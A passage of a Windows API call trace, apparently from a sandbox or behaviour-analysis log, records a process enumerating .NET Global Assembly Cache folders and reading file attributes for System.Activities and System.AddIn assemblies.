	[0088.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940ed920, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a04320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a04320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61a04320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x174ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.686] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.686] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.686] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Core.Presentation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.core.presentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.687] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Core.Presentation\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9407b500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9407b500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9407b500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.687] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9407b500, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9407b500, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9407b500, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.687] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940553a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61945c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61945c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.687] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.687] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.687] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Core.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.core.presentation\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.687] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Core.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940553a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61945c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61945c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.687] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940553a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61945c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61945c40, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.687] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61945c40, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xac510, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.Core.Presentation.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.687] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.687] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.688] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.DurableInstancing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.durableinstancing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.688] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.DurableInstancing\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94139be0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94139be0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94139be0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94139be0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94139be0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94139be0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94139be0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a505e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a505e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.688] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.688] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.DurableInstancing\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.durableinstancing\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.688] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.DurableInstancing\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94139be0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a505e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a505e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.688] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94139be0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61a505e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61a505e0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.689] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61a505e0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x22928, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.DurableInstancing.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.689] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.689] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.689] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.presentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.689] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940c77c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x940c77c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x940c77c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.689] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940c77c0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x940c77c0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x940c77c0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.689] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940a1660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ae8b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ae8b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.689] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.689] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.690] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.presentation\\v4.0_4.0.0.0__31bf3856ad364e35"), fInfoLevelId=0x0, lpFileInformation=0x125a78b8 | out: lpFileInformation=0x125a78b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940a1660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ae8b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ae8b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.690] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.presentation\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.690] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940a1660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ae8b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ae8b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.690] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x940a1660, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61ae8b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61ae8b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.690] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2004f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Activities.Presentation.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.690] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.690] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.690] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Activities.Presentation\\v4.0_4.0.0.0__31bf3856ad364e35\\System.Activities.Presentation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.activities.presentation\\v4.0_4.0.0.0__31bf3856ad364e35\\system.activities.presentation.dll"), fInfoLevelId=0x0, lpFileInformation=0x125a7958 | out: lpFileInformation=0x125a7958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b0ecc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2004f8)) returned 1
	[0088.690] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin"), fInfoLevelId=0x0, lpFileInformation=0x125a79a8 | out: lpFileInformation=0x125a79a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a159e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a159e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.690] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.691] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a159e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a159e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93a159e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93a159e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b5af80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e78d4 | out: lpFindFileData=0x124e78d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.691] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.691] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x125a7a48 | out: lpFileInformation=0x125a7a48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b5af80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.691] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.addin\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.691] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.AddIn\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b5af80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93a159e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x61b5af80, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.691] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124e7870 | out: lpFindFileData=0x124e7870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x61b5af80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x276b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
